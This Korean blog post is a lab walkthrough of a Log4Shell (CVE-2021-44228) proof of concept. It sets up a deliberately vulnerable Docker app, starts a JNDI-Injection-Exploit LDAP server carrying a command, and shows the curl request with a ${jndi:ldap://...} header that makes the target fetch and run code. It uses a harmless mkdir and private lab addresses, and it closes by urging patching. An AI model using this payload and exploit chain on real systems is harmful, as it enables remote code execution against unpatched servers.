본문 바로가기
컴소니/보안

Apache Log4j 2.x 취약점 PoC

by 금소니 2021. 12. 21.
반응형

#195

1. Apache Log4j 2.x 취약점[CVE-2021-4428]

 

Apache Log4j 2.x 취약점[CVE-2021-44228]

#193 1. Log4j 2.x 취약점 - 취약점 : CVE-2021-44228 - 취약한 버전 : 2.0-beta9 ~ 2.14.1 모든 버전(Log4j 2.12.2 제외) CVE - CVE-2021-44228 Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.1..

goldsony.tistory.com

2. PoC 시나리오

구성 : 취약 서버, LDAP 서버, 공격 PC

 

1) Lo4j 2.x 취약점을 가지고 있는 웹 서비스 구동(취약 서버)

2) JNDI-Injection-Exploit을 위한 LDAP 서비스 구동(LDAP 서버)

3) LDAP 서버에서 생성된 주소를 취약서버에 JNDI를 통해 요청(공격 PC)

4) 명령 실행(취약 서버)

 

3. PoC

- 취약 서버 IP : 192.168.128.130

- LDAP 서버 IP : 192.168.128.135

- 공격 PC : 192.168.128.135(LDAP 서버와 동일)

 

1) Lo4j 2.x 취약점을 가지고 있는 웹 서비스 구동(취약 서버)

 

GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.

Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. - GitHub - christophetd/log4shell-vulnerable-app: Spring Boot web application vulnerable to CVE-2021-44228, nicknamed ...

github.com

 

 

1)-1 먼저 서비스를 구동하기 위해서는 Docker가 기본적으로 설치되어 있어야 합니다.

systemctl status docker

1)-2 위의 링크에서 제공하고 있는 APP을 Docker로 구동하여 서비스

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

위의 명령을 실행하게 되면 Docker Image가 다운로드 돼고 취약점을 가지고 있는 WEB서비스가 8080포트로 구동됩니다.

포그라운드로 실행되고 있습니다.

 

1)-3 웹 서비스 확인

웹 서비스가 제대로 되고 있는지 확인해보도록 하겠습니다.

에러 메시지가 출력되고 있지만 정상적으로 동작하고 있는 것입니다.

 

2) JNDI-Injection-Exploit을 위한 LDAP 서비스 구동(LDAP 서버)

 

Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit

Add jndi links in tomcat 8+ or springBoot 1.2.x+ to bypass trustURLCodebase limit.

github.com

JNDI Injection 공격을 위한 LDAP서버도 테스트 용도로 구축해놓은 분이 계셔서 이를 활용하여 구축할 수 있습니다.

 

2)-1 LDAP 서버를 위한 어플리케이션 다운로드

wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

2)-2 LDAP 서버 구동하기

다운로드 받은 파일(jar)을 github에 안내되어 있는대로 구동하면 LDAP 서버를 구동할 수 있습니다.

github에는 다음과 같이 명령어 설명이 되어 있습니다.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

jar파일을 구동할 때 -C를 이용하여 수행하고자하는 명령을 입력하고 -A를 이용하여 서버 IP를 입력하시면 됩니다.

 

그러면 LDAP 서버를 구동해보도록 하겠습니다.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "mkdir /home/b/test" -A 192.168.128.135

명령어를 보시면 LDAP 서버를 호출할 경우 취약 서버에 특정 디렉토리를 생성하는 명령을 작성하였습니다.

명령을 실행하면 위와 같이 LDAP 서버가 구동되며, LDAP 호출을 위한 경로가 생성됩니다.

 

3) LDAP 서버에서 생성된 주소를 취약서버에 JNDI를 통해 요청(공격 PC)

그럼 이제 공격 PC에서 생성된 LDAP 주소를 통하여 취약 서버에 요청을 보내보도록 하겠습니다.

 

요청을 보내는 방법에는 여러가지가 있지만 간단하게 리눅스에서 curl을 이용하여 요청을 보내보도록 하겠습니다.

요청을 보낼 때에는 취약 서버의 JAVA 환경을 잘 알아야 합니다.

제가 구동한 취약 서버의 JAVA 버전은 8버전으로 아래의 주소로 요청을 보내도록 하겠습니다.

curl 192.168.128.130:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.128.135:1389/asukus}'

명령을 보시면 HTTP 헤더 중 하나인 X-Api-Version에 명령을 추가하여 요청하였습니다.

취약 서버에 올라가 있는 소스를 자세히 보시면 X-Api-Version에 대하여 로깅하는 부분이 있습니다.

4) 명령 실행(취약 서버)

과연 명령이 실행되었는지 확인해볼까요?

 

일단 취약 서버에 로그를 확인해보니 뭔가 요청을 받은게 보이네요.

Docker 내부로 들어가서 폴더가 생성되었는지 확인해보도록 하겠습니다.

 

생성된 Docker 들어가는 명령은 다음과 같습니다.

(여기서 vulnerable-app은 컨테이너명입니다.)

docker exec -it vulnerable-app /bin/sh

들어가서 확인해보니 진짜 폴더가 생성된 것을 볼 수 있습니다.

(b라는 폴더는 제가 이미 생성하였던 폴더이고, test라는 폴더만 새로 생성되었습니다.)

에이 폴더가 생성된게 뭐라고 생각하실 수도 있지만, 이렇게 정말 간단하게도 명령이 실행된 것을 보실 수 있습니다.

 

만약 이 명령을 폴더 생성이 아니라 악의적인 의도가 가진 명령어를 입력하였을 경우 취약한 서버는 해커에게 해킹을 당하게 되는 것입니다.

 

꼭 조치하셔서 공격을 당하지 않도록 운영하시기 바랍니다.

 

참고사이트

https://github.com/christophetd/log4shell-vulnerable-app

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

반응형

댓글